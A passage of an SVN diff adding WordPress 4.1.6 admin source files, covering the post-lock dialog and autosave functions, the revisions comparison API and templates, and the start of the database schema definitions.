+			$sendback = add_query_arg( 'post_type', $post->post_type, $sendback );
+
+		$sendback_text = get_post_type_object( $post->post_type )->labels->all_items;
+	}
+
+	$hidden = $locked ? '' : ' hidden';
+
+	?>
+	<div id="post-lock-dialog" class="notification-dialog-wrap<?php echo $hidden; ?>">
+	<div class="notification-dialog-background"></div>
+	<div class="notification-dialog">
+	<?php
+
+	if ( $locked ) {
+		if ( get_post_type_object( $post->post_type )->public ) {
+			$preview_link = set_url_scheme( add_query_arg( 'preview', 'true', get_permalink( $post->ID ) ) );
+
+			if ( 'publish' == $post->post_status || $user->ID != $post->post_author ) {
+				// Latest content is in autosave
+				$nonce = wp_create_nonce( 'post_preview_' . $post->ID );
+				$preview_link = add_query_arg( array( 'preview_id' => $post->ID, 'preview_nonce' => $nonce ), $preview_link );
+			}
+		} else {
+			$preview_link = '';
+		}
+
+		/** This filter is documented in wp-admin/includes/meta-boxes.php */
+		$preview_link = apply_filters( 'preview_post_link', $preview_link, $post );
+
+		/**
+		 * Filter whether to allow the post lock to be overridden.
+		 *
+		 * Returning a falsey value to the filter will disable the ability
+		 * to override the post lock.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param bool    $override Whether to allow overriding post locks. Default true.
+		 * @param WP_Post $post     Post object.
+		 * @param WP_User $user     User object.
+		 */
+		$override = apply_filters( 'override_post_lock', true, $post, $user );
+		$tab_last = $override ? '' : ' wp-tab-last';
+
+		?>
+		<div class="post-locked-message">
+		<div class="post-locked-avatar"><?php echo get_avatar( $user->ID, 64 ); ?></div>
+		<p class="currently-editing wp-tab-first" tabindex="0">
+		<?php
+			_e( 'This content is currently locked.' );
+			if ( $override )
+				printf( ' ' . __( 'If you take over, %s will be blocked from continuing to edit.' ), esc_html( $user->display_name ) );
+		?>
+		</p>
+		<?php
+		/**
+		 * Fires inside the post locked dialog before the buttons are displayed.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param WP_Post $post Post object.
+		 */
+		do_action( 'post_locked_dialog', $post );
+		?>
+		<p>
+		<a class="button" href="<?php echo esc_url( $sendback ); ?>"><?php echo $sendback_text; ?></a>
+		<?php if ( $preview_link ) { ?>
+		<a class="button<?php echo $tab_last; ?>" href="<?php echo esc_url( $preview_link ); ?>"><?php _e('Preview'); ?></a>
+		<?php
+		}
+
+		// Allow plugins to prevent some users overriding the post lock
+		if ( $override ) {
+			?>
+			<a class="button button-primary wp-tab-last" href="<?php echo esc_url( add_query_arg( 'get-post-lock', '1', get_edit_post_link( $post->ID, 'url' ) ) ); ?>"><?php _e('Take over'); ?></a>
+			<?php
+		}
+
+		?>
+		</p>
+		</div>
+		<?php
+	} else {
+		?>
+		<div class="post-taken-over">
+			<div class="post-locked-avatar"></div>
+			<p class="wp-tab-first" tabindex="0">
+			<span class="currently-editing"></span><br />
+			<span class="locked-saving hidden"><img src="images/wpspin_light-2x.gif" width="16" height="16" /> <?php _e('Saving revision...'); ?></span>
+			<span class="locked-saved hidden"><?php _e('Your latest changes were saved as a revision.'); ?></span>
+			</p>
+			<?php
+			/**
+			 * Fires inside the dialog displayed when a user has lost the post lock.
+			 *
+			 * @since 3.6.0
+			 *
+			 * @param WP_Post $post Post object.
+			 */
+			do_action( 'post_lock_lost_dialog', $post );
+			?>
+			<p><a class="button button-primary wp-tab-last" href="<?php echo esc_url( $sendback ); ?>"><?php echo $sendback_text; ?></a></p>
+		</div>
+		<?php
+	}
+
+	?>
+	</div>
+	</div>
+	<?php
+}
+
+/**
+ * Creates autosave data for the specified post from $_POST data.
+ *
+ * @package WordPress
+ * @subpackage Post_Revisions
+ * @since 2.6.0
+ *
+ * @param mixed $post_data Associative array containing the post data or int post ID.
+ * @return mixed The autosave revision ID. WP_Error or 0 on error.
+ */
+function wp_create_post_autosave( $post_data ) {
+	if ( is_numeric( $post_data ) ) {
+		$post_id = $post_data;
+		$post_data = &$_POST;
+	} else {
+		$post_id = (int) $post_data['post_ID'];
+	}
+
+	$post_data = _wp_translate_postdata( true, $post_data );
+	if ( is_wp_error( $post_data ) )
+		return $post_data;
+
+	$post_author = get_current_user_id();
+
+	// Store one autosave per author. If there is already an autosave, overwrite it.
+	if ( $old_autosave = wp_get_post_autosave( $post_id, $post_author ) ) {
+		$new_autosave = _wp_post_revision_fields( $post_data, true );
+		$new_autosave['ID'] = $old_autosave->ID;
+		$new_autosave['post_author'] = $post_author;
+
+		// If the new autosave has the same content as the post, delete the autosave.
+		$post = get_post( $post_id );
+		$autosave_is_different = false;
+		foreach ( array_intersect( array_keys( $new_autosave ), array_keys( _wp_post_revision_fields() ) ) as $field ) {
+			if ( normalize_whitespace( $new_autosave[ $field ] ) != normalize_whitespace( $post->$field ) ) {
+				$autosave_is_different = true;
+				break;
+			}
+		}
+
+		if ( ! $autosave_is_different ) {
+			wp_delete_post_revision( $old_autosave->ID );
+			return 0;
+		}
+
+		/**
+		 * Fires before an autosave is stored.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param array $new_autosave Post array - the autosave that is about to be saved.
+		 */
+		do_action( 'wp_creating_autosave', $new_autosave );
+
+		return wp_update_post( $new_autosave );
+	}
+
+	// _wp_put_post_revision() expects unescaped.
+	$post_data = wp_unslash( $post_data );
+
+	// Otherwise create the new autosave as a special post revision
+	return _wp_put_post_revision( $post_data, true );
+}
+
+/**
+ * Save draft or manually autosave for showing preview.
+ *
+ * @package WordPress
+ * @since 2.7.0
+ *
+ * @return str URL to redirect to show the preview
+ */
+function post_preview() {
+
+	$post_ID = (int) $_POST['post_ID'];
+	$_POST['ID'] = $post_ID;
+
+	if ( ! $post = get_post( $post_ID ) ) {
+		wp_die( __( 'You are not allowed to edit this post.' ) );
+	}
+
+	if ( ! current_user_can( 'edit_post', $post->ID ) ) {
+		wp_die( __( 'You are not allowed to edit this post.' ) );
+	}
+
+	$is_autosave = false;
+
+	if ( ! wp_check_post_lock( $post->ID ) && get_current_user_id() == $post->post_author && ( 'draft' == $post->post_status || 'auto-draft' == $post->post_status ) ) {
+		$saved_post_id = edit_post();
+	} else {
+		$is_autosave = true;
+
+		if ( 'auto-draft' == $_POST['post_status'] )
+			$_POST['post_status'] = 'draft';
+
+		$saved_post_id = wp_create_post_autosave( $post->ID );
+	}
+
+	if ( is_wp_error( $saved_post_id ) )
+		wp_die( $saved_post_id->get_error_message() );
+
+	$query_args = array( 'preview' => 'true' );
+
+	if ( $is_autosave && $saved_post_id ) {
+		$query_args['preview_id'] = $post->ID;
+		$query_args['preview_nonce'] = wp_create_nonce( 'post_preview_' . $post->ID );
+
+		if ( isset( $_POST['post_format'] ) )
+			$query_args['post_format'] = empty( $_POST['post_format'] ) ? 'standard' : sanitize_key( $_POST['post_format'] );
+	}
+
+	$url = add_query_arg( $query_args, get_permalink( $post->ID ) );
+
+	/** This filter is documented in wp-admin/includes/meta-boxes.php */
+	return apply_filters( 'preview_post_link', $url, $post );
+}
+
+/**
+ * Save a post submitted with XHR
+ *
+ * Intended for use with heartbeat and autosave.js
+ *
+ * @since 3.9.0
+ *
+ * @param array $post_data Associative array of the submitted post data.
+ * @return mixed The value 0 or WP_Error on failure. The saved post ID on success.
+ *               Te ID can be the draft post_id or the autosave revision post_id.
+ */
+function wp_autosave( $post_data ) {
+	// Back-compat
+	if ( ! defined( 'DOING_AUTOSAVE' ) )
+		define( 'DOING_AUTOSAVE', true );
+
+	$post_id = (int) $post_data['post_id'];
+	$post_data['ID'] = $post_data['post_ID'] = $post_id;
+
+	if ( false === wp_verify_nonce( $post_data['_wpnonce'], 'update-post_' . $post_id ) ) {
+		return new WP_Error( 'invalid_nonce', __( 'Error while saving.' ) );
+	}
+
+	$post = get_post( $post_id );
+
+	if ( ! current_user_can( 'edit_post', $post->ID ) ) {
+		return new WP_Error( 'edit_posts', __( 'You are not allowed to edit this item.' ) );
+	}
+
+	if ( 'auto-draft' == $post->post_status )
+		$post_data['post_status'] = 'draft';
+
+	if ( $post_data['post_type'] != 'page' && ! empty( $post_data['catslist'] ) )
+		$post_data['post_category'] = explode( ',', $post_data['catslist'] );
+
+	if ( ! wp_check_post_lock( $post->ID ) && get_current_user_id() == $post->post_author && ( 'auto-draft' == $post->post_status || 'draft' == $post->post_status ) ) {
+		// Drafts and auto-drafts are just overwritten by autosave for the same user if the post is not locked
+		return edit_post( wp_slash( $post_data ) );
+	} else {
+		// Non drafts or other users drafts are not overwritten. The autosave is stored in a special post revision for each user.
+		return wp_create_post_autosave( wp_slash( $post_data ) );
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/revision.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/revision.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/revision.php	(revision 33402)
@@ -0,0 +1,378 @@
+<?php
+/**
+ * WordPress Administration Revisions API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Get the revision UI diff.
+ *
+ * @since 3.6.0
+ *
+ * @param object|int $post         The post object. Also accepts a post ID.
+ * @param int        $compare_from The revision ID to compare from.
+ * @param int        $compare_to   The revision ID to come to.
+ *
+ * @return array|bool Associative array of a post's revisioned fields and their diffs.
+ *                    Or, false on failure.
+ */
+function wp_get_revision_ui_diff( $post, $compare_from, $compare_to ) {
+	if ( ! $post = get_post( $post ) )
+		return false;
+
+	if ( $compare_from ) {
+		if ( ! $compare_from = get_post( $compare_from ) )
+			return false;
+	} else {
+		// If we're dealing with the first revision...
+		$compare_from = false;
+	}
+
+	if ( ! $compare_to = get_post( $compare_to ) )
+		return false;
+
+	// If comparing revisions, make sure we're dealing with the right post parent.
+	// The parent post may be a 'revision' when revisions are disabled and we're looking at autosaves.
+	if ( $compare_from && $compare_from->post_parent !== $post->ID && $compare_from->ID !== $post->ID )
+		return false;
+	if ( $compare_to->post_parent !== $post->ID && $compare_to->ID !== $post->ID )
+		return false;
+
+	if ( $compare_from && strtotime( $compare_from->post_date_gmt ) > strtotime( $compare_to->post_date_gmt ) ) {
+		$temp = $compare_from;
+		$compare_from = $compare_to;
+		$compare_to = $temp;
+	}
+
+	// Add default title if title field is empty
+	if ( $compare_from && empty( $compare_from->post_title ) )
+		$compare_from->post_title = __( '(no title)' );
+	if ( empty( $compare_to->post_title ) )
+		$compare_to->post_title = __( '(no title)' );
+
+	$return = array();
+
+	foreach ( _wp_post_revision_fields() as $field => $name ) {
+		/**
+		 * Contextually filter a post revision field.
+		 *
+		 * The dynamic portion of the hook name, `$field`, corresponds to each of the post
+		 * fields of the revision object being iterated over in a foreach statement.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param string  $compare_from->$field The current revision field to compare to or from.
+		 * @param string  $field                The current revision field.
+		 * @param WP_Post $compare_from         The revision post object to compare to or from.
+		 * @param string  null                  The context of whether the current revision is the old
+		 *                                      or the new one. Values are 'to' or 'from'.
+		 */
+		$content_from = $compare_from ? apply_filters( "_wp_post_revision_field_$field", $compare_from->$field, $field, $compare_from, 'from' ) : '';
+
+		/** This filter is documented in wp-admin/includes/revision.php */
+		$content_to = apply_filters( "_wp_post_revision_field_$field", $compare_to->$field, $field, $compare_to, 'to' );
+
+		$args = array(
+			'show_split_view' => true
+		);
+
+		/**
+		 * Filter revisions text diff options.
+		 *
+		 * Filter the options passed to {@see wp_text_diff()} when viewing a post revision.
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param array   $args {
+		 *     Associative array of options to pass to {@see wp_text_diff()}.
+		 *
+		 *     @type bool $show_split_view True for split view (two columns), false for
+		 *                                 un-split view (single column). Default true.
+		 * }
+		 * @param string  $field        The current revision field.
+		 * @param WP_Post $compare_from The revision post to compare from.
+		 * @param WP_Post $compare_to   The revision post to compare to.
+		 */
+		$args = apply_filters( 'revision_text_diff_options', $args, $field, $compare_from, $compare_to );
+
+		$diff = wp_text_diff( $content_from, $content_to, $args );
+
+		if ( ! $diff && 'post_title' === $field ) {
+			// It's a better user experience to still show the Title, even if it didn't change.
+			// No, you didn't see this.
+			$diff = '<table class="diff"><colgroup><col class="content diffsplit left"><col class="content diffsplit middle"><col class="content diffsplit right"></colgroup><tbody><tr>';
+			$diff .= '<td>' . esc_html( $compare_from->post_title ) . '</td><td></td><td>' . esc_html( $compare_to->post_title ) . '</td>';
+			$diff .= '</tr></tbody>';
+			$diff .= '</table>';
+		}
+
+		if ( $diff ) {
+			$return[] = array(
+				'id' => $field,
+				'name' => $name,
+				'diff' => $diff,
+			);
+		}
+	}
+
+	/**
+	 * Filter the fields displayed in the post revision diff UI.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param array   $return       Revision UI fields. Each item is an array of id, name and diff.
+	 * @param WP_Post $compare_from The revision post to compare from.
+	 * @param WP_Post $compare_to   The revision post to compare to.
+	 */
+	return apply_filters( 'wp_get_revision_ui_diff', $return, $compare_from, $compare_to );
+
+}
+
+/**
+ * Prepare revisions for JavaScript.
+ *
+ * @since 3.6.0
+ *
+ * @param object|int $post                 The post object. Also accepts a post ID.
+ * @param int        $selected_revision_id The selected revision ID.
+ * @param int        $from                 Optional. The revision ID to compare from.
+ *
+ * @return array An associative array of revision data and related settings.
+ */
+function wp_prepare_revisions_for_js( $post, $selected_revision_id, $from = null ) {
+	$post = get_post( $post );
+	$authors = array();
+	$now_gmt = time();
+
+	$revisions = wp_get_post_revisions( $post->ID, array( 'order' => 'ASC', 'check_enabled' => false ) );
+	// If revisions are disabled, we only want autosaves and the current post.
+	if ( ! wp_revisions_enabled( $post ) ) {
+		foreach ( $revisions as $revision_id => $revision ) {
+			if ( ! wp_is_post_autosave( $revision ) )
+				unset( $revisions[ $revision_id ] );
+		}
+		$revisions = array( $post->ID => $post ) + $revisions;
+	}
+
+	$show_avatars = get_option( 'show_avatars' );
+
+	cache_users( wp_list_pluck( $revisions, 'post_author' ) );
+
+	$can_restore = current_user_can( 'edit_post', $post->ID );
+	$current_id = false;
+
+	foreach ( $revisions as $revision ) {
+		$modified = strtotime( $revision->post_modified );
+		$modified_gmt = strtotime( $revision->post_modified_gmt );
+		if ( $can_restore ) {
+			$restore_link = str_replace( '&amp;', '&', wp_nonce_url(
+				add_query_arg(
+					array( 'revision' => $revision->ID,
+						'action' => 'restore' ),
+						admin_url( 'revision.php' )
+				),
+				"restore-post_{$revision->ID}"
+			) );
+		}
+
+		if ( ! isset( $authors[ $revision->post_author ] ) ) {
+			$authors[ $revision->post_author ] = array(
+				'id' => (int) $revision->post_author,
+				'avatar' => $show_avatars ? get_avatar( $revision->post_author, 32 ) : '',
+				'name' => get_the_author_meta( 'display_name', $revision->post_author ),
+			);
+		}
+
+		$autosave = (bool) wp_is_post_autosave( $revision );
+		$current = ! $autosave && $revision->post_modified_gmt === $post->post_modified_gmt;
+		if ( $current && ! empty( $current_id ) ) {
+			// If multiple revisions have the same post_modified_gmt, highest ID is current.
+			if ( $current_id < $revision->ID ) {
+				$revisions[ $current_id ]['current'] = false;
+				$current_id = $revision->ID;
+			} else {
+				$current = false;
+			}
+		} elseif ( $current ) {
+			$current_id = $revision->ID;
+		}
+
+		$revisions[ $revision->ID ] = array(
+			'id'         => $revision->ID,
+			'title'      => get_the_title( $post->ID ),
+			'author'     => $authors[ $revision->post_author ],
+			'date'       => date_i18n( __( 'M j, Y @ G:i' ), $modified ),
+			'dateShort'  => date_i18n( _x( 'j M @ G:i', 'revision date short format' ), $modified ),
+			'timeAgo'    => sprintf( __( '%s ago' ), human_time_diff( $modified_gmt, $now_gmt ) ),
+			'autosave'   => $autosave,
+			'current'    => $current,
+			'restoreUrl' => $can_restore ? $restore_link : false,
+		);
+	}
+
+	/**
+	 * If we only have one revision, the initial revision is missing; This happens
+	 * when we have an autsosave and the user has clicked 'View the Autosave'
+	 */
+	if ( 1 === sizeof( $revisions ) ) {
+		$revisions[ $post->ID ] = array(
+			'id'         => $post->ID,
+			'title'      => get_the_title( $post->ID ),
+			'author'     => $authors[ $post->post_author ],
+			'date'       => date_i18n( __( 'M j, Y @ G:i' ), strtotime( $post->modified ) ),
+			'dateShort'  => date_i18n( _x( 'j M @ G:i', 'revision date short format' ), strtotime( $post->modified ) ),
+			'timeAgo'    => sprintf( __( '%s ago' ), human_time_diff( strtotime( $post->post_modified_gmt ), $now_gmt ) ),
+			'autosave'   => false,
+			'current'    => true,
+			'restoreUrl' => false,
+		);
+		$current_id = $post->ID;
+	}
+
+	/*
+	 * If a post has been saved since the last revision (no revisioned fields
+	 * were changed), we may not have a "current" revision. Mark the latest
+	 * revision as "current".
+	 */
+	if ( empty( $current_id ) ) {
+		if ( $revisions[ $revision->ID ]['autosave'] ) {
+			$revision = end( $revisions );
+			while ( $revision['autosave'] ) {
+				$revision = prev( $revisions );
+			}
+			$current_id = $revision['id'];
+		} else {
+			$current_id = $revision->ID;
+		}
+		$revisions[ $current_id ]['current'] = true;
+	}
+
+	// Now, grab the initial diff.
+	$compare_two_mode = is_numeric( $from );
+	if ( ! $compare_two_mode ) {
+		$found = array_search( $selected_revision_id, array_keys( $revisions ) );
+		if ( $found ) {
+			$from = array_keys( array_slice( $revisions, $found - 1, 1, true ) );
+			$from = reset( $from );
+		} else {
+			$from = 0;
+		}
+	}
+
+	$from = absint( $from );
+
+	$diffs = array( array(
+		'id' => $from . ':' . $selected_revision_id,
+		'fields' => wp_get_revision_ui_diff( $post->ID, $from, $selected_revision_id ),
+	));
+
+	return array(
+		'postId'           => $post->ID,
+		'nonce'            => wp_create_nonce( 'revisions-ajax-nonce' ),
+		'revisionData'     => array_values( $revisions ),
+		'to'               => $selected_revision_id,
+		'from'             => $from,
+		'diffData'         => $diffs,
+		'baseUrl'          => parse_url( admin_url( 'revision.php' ), PHP_URL_PATH ),
+		'compareTwoMode'   => absint( $compare_two_mode ), // Apparently booleans are not allowed
+		'revisionIds'      => array_keys( $revisions ),
+	);
+}
+
+/**
+ * Print JavaScript templates required for the revisions experience.
+ *
+ * @since 4.1.0
+ *
+ * @global WP_Post $post The global `$post` object.
+ */
+function wp_print_revision_templates() {
+	global $post;
+	?><script id="tmpl-revisions-frame" type="text/html">
+		<div class="revisions-control-frame"></div>
+		<div class="revisions-diff-frame"></div>
+	</script>
+
+	<script id="tmpl-revisions-buttons" type="text/html">
+		<div class="revisions-previous">
+			<input class="button" type="button" value="<?php echo esc_attr_x( 'Previous', 'Button label for a previous revision' ); ?>" />
+		</div>
+
+		<div class="revisions-next">
+			<input class="button" type="button" value="<?php echo esc_attr_x( 'Next', 'Button label for a next revision' ); ?>" />
+		</div>
+	</script>
+
+	<script id="tmpl-revisions-checkbox" type="text/html">
+		<div class="revision-toggle-compare-mode">
+			<label>
+				<input type="checkbox" class="compare-two-revisions"
+				<#
+				if ( 'undefined' !== typeof data && data.model.attributes.compareTwoMode ) {
+					#> checked="checked"<#
+				}
+				#>
+				/>
+				<?php esc_attr_e( 'Compare any two revisions' ); ?>
+			</label>
+		</div>
+	</script>
+
+	<script id="tmpl-revisions-meta" type="text/html">
+		<# if ( ! _.isUndefined( data.attributes ) ) { #>
+			<div class="diff-title">
+				<# if ( 'from' === data.type ) { #>
+					<strong><?php _ex( 'From:', 'Followed by post revision info' ); ?></strong>
+				<# } else if ( 'to' === data.type ) { #>
+					<strong><?php _ex( 'To:', 'Followed by post revision info' ); ?></strong>
+				<# } #>
+				<div class="author-card<# if ( data.attributes.autosave ) { #> autosave<# } #>">
+					{{{ data.attributes.author.avatar }}}
+					<div class="author-info">
+					<# if ( data.attributes.autosave ) { #>
+						<span class="byline"><?php printf( __( 'Autosave by %s' ),
+							'<span class="author-name">{{ data.attributes.author.name }}</span>' ); ?></span>
+					<# } else if ( data.attributes.current ) { #>
+						<span class="byline"><?php printf( __( 'Current Revision by %s' ),
+							'<span class="author-name">{{ data.attributes.author.name }}</span>' ); ?></span>
+					<# } else { #>
+						<span class="byline"><?php printf( __( 'Revision by %s' ),
+							'<span class="author-name">{{ data.attributes.author.name }}</span>' ); ?></span>
+					<# } #>
+						<span class="time-ago">{{ data.attributes.timeAgo }}</span>
+						<span class="date">({{ data.attributes.dateShort }})</span>
+					</div>
+				<# if ( 'to' === data.type && data.attributes.restoreUrl ) { #>
+					<input  <?php if ( wp_check_post_lock( $post->ID ) ) { ?>
+						disabled="disabled"
+					<?php } else { ?>
+						<# if ( data.attributes.current ) { #>
+							disabled="disabled"
+						<# } #>
+					<?php } ?>
+					<# if ( data.attributes.autosave ) { #>
+						type="button" class="restore-revision button button-primary" value="<?php esc_attr_e( 'Restore This Autosave' ); ?>" />
+					<# } else { #>
+						type="button" class="restore-revision button button-primary" value="<?php esc_attr_e( 'Restore This Revision' ); ?>" />
+					<# } #>
+				<# } #>
+			</div>
+		<# if ( 'tooltip' === data.type ) { #>
+			<div class="revisions-tooltip-arrow"><span></span></div>
+		<# } #>
+	<# } #>
+	</script>
+
+	<script id="tmpl-revisions-diff" type="text/html">
+		<div class="loading-indicator"><span class="spinner"></span></div>
+		<div class="diff-error"><?php _e( 'Sorry, something went wrong. The requested comparison could not be loaded.' ); ?></div>
+		<div class="diff">
+		<# _.each( data.fields, function( field ) { #>
+			<h3>{{ field.name }}</h3>
+			{{{ field.diff }}}
+		<# }); #>
+		</div>
+	</script><?php
+}
Index: /tags/4.1.6/src/wp-admin/includes/schema.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/schema.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/schema.php	(revision 33402)
@@ -0,0 +1,1039 @@
+<?php
+/**
+ * WordPress Administration Scheme API
+ *
+ * Here we keep the DB structure and option values.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+// Declare these as global in case schema.php is included from a function.
+global $wpdb, $wp_queries, $charset_collate;
+
+/**
+ * The database character collate.
+ * @var string
+ * @global string
+ * @name $charset_collate
+ */
+$charset_collate = $wpdb->get_charset_collate();
+
+/**
+ * Retrieve the SQL for creating database tables.
+ *
+ * @since 3.3.0
+ *
+ * @param string $scope Optional. The tables for which to retrieve SQL. Can be all, global, ms_global, or blog tables. Defaults to all.
+ * @param int $blog_id Optional. The blog ID for which to retrieve SQL. Default is the current blog ID.
+ * @return string The SQL needed to create the requested tables.
+ */
+function wp_get_db_schema( $scope = 'all', $blog_id = null ) {
+	global $wpdb;
+
+	$charset_collate = '';
+
+	if ( ! empty($wpdb->charset) )
+		$charset_collate = "DEFAULT CHARACTER SET $wpdb->charset";
+	if ( ! empty($wpdb->collate) )
+		$charset_collate .= " COLLATE $wpdb->collate";
+
+	if ( $blog_id && $blog_id != $wpdb->blogid )
+		$old_blog_id = $wpdb->set_blog_id( $blog_id );
+
+	// Engage multisite if in the middle of turning it on from network.php.
+	$is_multisite = is_multisite() || ( defined( 'WP_INSTALLING_NETWORK' ) && WP_INSTALLING_NETWORK );
+
+	// Blog specific tables.
+	$blog_tables = "CREATE TABLE $wpdb->terms (
+ term_id bigint(20) unsigned NOT NULL auto_increment,
+ name varchar(200) NOT NULL default '',
+ slug varchar(200) NOT NULL default '',
+ term_group bigint(10) NOT NULL default 0,
+ PRIMARY KEY  (term_id),
+ KEY slug (slug),
+ KEY name (name)
+) $charset_collate;
+CREATE TABLE $wpdb->term_taxonomy (
+ term_taxonomy_id bigint(20) unsigned NOT NULL auto_increment,
+ term_id bigint(20) unsigned NOT NULL default 0,
+ taxonomy varchar(32) NOT NULL default '',
+ description longtext NOT NULL,
+ parent bigint(20) unsigned NOT NULL default 0,
+ count bigint(20) NOT NULL default 0,
+ PRIMARY KEY  (term_taxonomy_id),
+ UNIQUE KEY term_id_taxonomy (term_id,taxonomy),
+ KEY taxonomy (taxonomy)
+) $charset_collate;
+CREATE TABLE $wpdb->term_relationships (
+ object_id bigint(20) unsigned NOT NULL default 0,
+ term_taxonomy_id bigint(20) unsigned NOT NULL default 0,
+ term_order int(11) NOT NULL default 0,
+ PRIMARY KEY  (object_id,term_taxonomy_id),
+ KEY term_taxonomy_id (term_taxonomy_id)
+) $charset_collate;
+CREATE TABLE $wpdb->commentmeta (
+  meta_id bigint(20) unsigned NOT NULL auto_increment,
+  comment_id bigint(20) unsigned NOT NULL default '0',
+  meta_key varchar(255) default NULL,
+  meta_value longtext,
+  PRIMARY KEY  (meta_id),
+  KEY comment_id (comment_id),
+  KEY meta_key (meta_key)
+) $charset_collate;
+CREATE TABLE $wpdb->comments (
+  comment_ID bigint(20) unsigned NOT NULL auto_increment,
+  comment_post_ID bigint(20) unsigned NOT NULL default '0',
+  comment_author tinytext NOT NULL,
+  comment_author_email varchar(100) NOT NULL default '',
+  comment_author_url varchar(200) NOT NULL default '',
+  comment_author_IP varchar(100) NOT NULL default '',
+  comment_date datetime NOT NULL default '0000-00-00 00:00:00',
+  comment_date_gmt datetime NOT NULL default '0000-00-00 00:00:00',
+  comment_content text NOT NULL,
+  comment_karma int(11) NOT NULL default '0',
+  comment_approved varchar(20) NOT NULL default '1',
+  comment_agent varchar(255) NOT NULL default '',
+  comment_type varchar(20) NOT NULL default '',
+  comment_parent bigint(20) unsigned NOT NULL default '0',
+  user_id bigint(20) unsigned NOT NULL default '0',
+  PRIMARY KEY  (comment_ID),
+  KEY comment_post_ID (comment_post_ID),
+  KEY comment_approved_date_gmt (comment_approved,comment_date_gmt),
+  KEY comment_date_gmt (comment_date_gmt),
+  KEY comment_parent (comment_parent),
+  KEY comment_author_email (comment_author_email(10))
+) $charset_collate;
+CREATE TABLE $wpdb->links (
+  link_id bigint(20) unsigned NOT NULL auto_increment,
+  link_url varchar(255) NOT NULL default '',
+  link_name varchar(255) NOT NULL default '',
+  link_image varchar(255) NOT NULL default '',
+  link_target varchar(25) NOT NULL default '',
+  link_description varchar(255) NOT NULL default '',
+  link_visible varchar(20) NOT NULL default 'Y',
+  link_owner bigint(20) unsigned NOT NULL default '1',
+  link_rating int(11) NOT NULL default '0',
+  link_updated datetime NOT NULL default '0000-00-00 00:00:00',
+  link_rel varchar(255) NOT NULL default '',
+  link_notes mediumtext NOT NULL,
+  link_rss varchar(255) NOT NULL default '',
+  PRIMARY KEY  (link_id),
+  KEY link_visible (link_visible)
+) $charset_collate;
+CREATE TABLE $wpdb->options (
+  option_id bigint(20) unsigned NOT NULL auto_increment,
+  option_name varchar(64) NOT NULL default '',
+  option_value longtext NOT NULL,
+  autoload varchar(20) NOT NULL default 'yes',
+  PRIMARY KEY  (option_id),
+  UNIQUE KEY option_name (option_name)
+) $charset_collate;
+CREATE TABLE $wpdb->postmeta (
+  meta_id bigint(20) unsigned NOT NULL auto_increment,
+  post_id bigint(20) unsigned NOT NULL default '0',
+  meta_key varchar(255) default NULL,
+  meta_value longtext,
+  PRIMARY KEY  (meta_id),
+  KEY post_id (post_id),
+  KEY meta_key (meta_key)
+) $charset_collate;
+CREATE TABLE $wpdb->posts (
+  ID bigint(20) unsigned NOT NULL auto_increment,
+  post_author bigint(20) unsigned NOT NULL default '0',
+  post_date datetime NOT NULL default '0000-00-00 00:00:00',
+  post_date_gmt datetime NOT NULL default '0000-00-00 00:00:00',
+  post_content longtext NOT NULL,
+  post_title text NOT NULL,
+  post_excerpt text NOT NULL,
+  post_status varchar(20) NOT NULL default 'publish',
+  comment_status varchar(20) NOT NULL default 'open',
+  ping_status varchar(20) NOT NULL default 'open',
+  post_password varchar(20) NOT NULL default '',
+  post_name varchar(200) NOT NULL default '',
+  to_ping text NOT NULL,
+  pinged text NOT NULL,
+  post_modified datetime NOT NULL default '0000-00-00 00:00:00',
+  post_modified_gmt datetime NOT NULL default '0000-00-00 00:00:00',
+  post_content_filtered longtext NOT NULL,
+  post_parent bigint(20) unsigned NOT NULL default '0',
+  guid varchar(255) NOT NULL default '',
+  menu_order int(11) NOT NULL default '0',
+  post_type varchar(20) NOT NULL default 'post',
+  post_mime_type varchar(100) NOT NULL default '',
+  comment_count bigint(20) NOT NULL default '0',
+  PRIMARY KEY  (ID),
+  KEY post_name (post_name),
+  KEY type_status_date (post_type,post_status,post_date,ID),
+  KEY post_parent (post_parent),
+  KEY post_author (post_author)
+) $charset_collate;\n";
+
+	// Single site users table. The multisite flavor of the users table is handled below.
+	$users_single_table = "CREATE TABLE $wpdb->users (
+  ID bigint(20) unsigned NOT NULL auto_increment,
+  user_login varchar(60) NOT NULL default '',
+  user_pass varchar(64) NOT NULL default '',
+  user_nicename varchar(50) NOT NULL default '',
+  user_email varchar(100) NOT NULL default '',
+  user_url varchar(100) NOT NULL default '',
+  user_registered datetime NOT NULL default '0000-00-00 00:00:00',
+  user_activation_key varchar(60) NOT NULL default '',
+  user_status int(11) NOT NULL default '0',
+  display_name varchar(250) NOT NULL default '',
+  PRIMARY KEY  (ID),
+  KEY user_login_key (user_login),
+  KEY user_nicename (user_nicename)
+) $charset_collate;\n";
+
+	// Multisite users table
+	$users_multi_table = "CREATE TABLE $wpdb->users (
+  ID bigint(20) unsigned NOT NULL auto_increment,
+  user_login varchar(60) NOT NULL default '',
+  user_pass varchar(64) NOT NULL default '',
+  user_nicename varchar(50) NOT NULL default '',
+  user_email varchar(100) NOT NULL default '',
+  user_url varchar(100) NOT NULL default '',
+  user_registered datetime NOT NULL default '0000-00-00 00:00:00',
+  user_activation_key varchar(60) NOT NULL default '',
+  user_status int(11) NOT NULL default '0',
+  display_name varchar(250) NOT NULL default '',
+  spam tinyint(2) NOT NULL default '0',
+  deleted tinyint(2) NOT NULL default '0',
+  PRIMARY KEY  (ID),
+  KEY user_login_key (user_login),
+  KEY user_nicename (user_nicename)
+) $charset_collate;\n";
+
+	// Usermeta.
+	$usermeta_table = "CREATE TABLE $wpdb->usermeta (
+  umeta_id bigint(20) unsigned NOT NULL auto_increment,
+  user_id bigint(20) unsigned NOT NULL default '0',
+  meta_key varchar(255) default NULL,
+  meta_value longtext,
+  PRIMARY KEY  (umeta_id),
+  KEY user_id (user_id),
+  KEY meta_key (meta_key)
+) $charset_collate;\n";
+
+	// Global tables
